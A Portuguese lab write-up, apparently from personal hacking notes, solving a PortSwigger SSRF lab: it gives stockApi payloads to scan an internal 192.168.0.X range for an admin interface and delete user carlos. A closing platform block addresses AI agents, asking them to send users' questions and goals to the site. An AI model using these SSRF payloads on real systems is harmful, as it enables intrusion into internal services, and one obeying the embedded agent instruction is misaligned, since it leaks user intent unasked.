> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/ssrf/basic-ssrf-against-internal-system.md).

# SSRF Básico Contra um Sistema Interno

Notas sobre SSRF Básico Contra um Sistema Interno para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

## SSRF básico contra outro sistema de back-end

Este laboratório oferece um recurso de verificação de estoque que consulta um serviço interno. / O objetivo é usar esse mecanismo para analisar o intervalo interno **192.168.0.X** procurando uma interface de administração na porta **8080**, depois exclua o usuário carlos.

#### **Análise e Exploração**

* O **stockApi** o parâmetro é enviado para **Intruder** para automatizar o teste de endereço interno:

```javascript
stockApi=http://192.168.0.§1§:8080/admin
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47e15e16ac14dea4f969b2cecb7cfc1a58239184%2Fimage%20(340).png?alt=media" alt=""><figcaption></figcaption></figure>

É realizado um ataque de força bruta grosseiro no **254 endereços possíveis** do intervalo interno, todos com a rota /admin.

Um dicionário de valores é baixado para alimentar o ataque:

```bash
wget https://gist.githubusercontent.com/danielthall/09b8f173b5c0b84065d8e211def83c0b/raw/20d713765b3fa620c09aebd36e41ce69debef865/0-1000.txt
```

* Após iniciar o ataque, o **192.168.0.14** endereço retorna um \*\*código HTTP 200\*\*, indicando que a interface de administração está acessível.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aa334d3fafae9e8252fa613348d51d6a3de970c7%2Fimage%20(341).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-625eab0a65ebfb32856e1179f7196e4fd780614b%2Fimage%20(342).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### **Exclusão do usuário**

* Acesso ao painel de administração:

```javascript
stockApi=http://192.168.0.14:8080/admin
stockApi=http://192.168.0.14:8080/admin/delete?username=carlos
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b5842ad000e25f3816944cf20f4af89ce9d6246%2Fimage%20(343).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/ssrf/basic-ssrf-against-internal-system.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
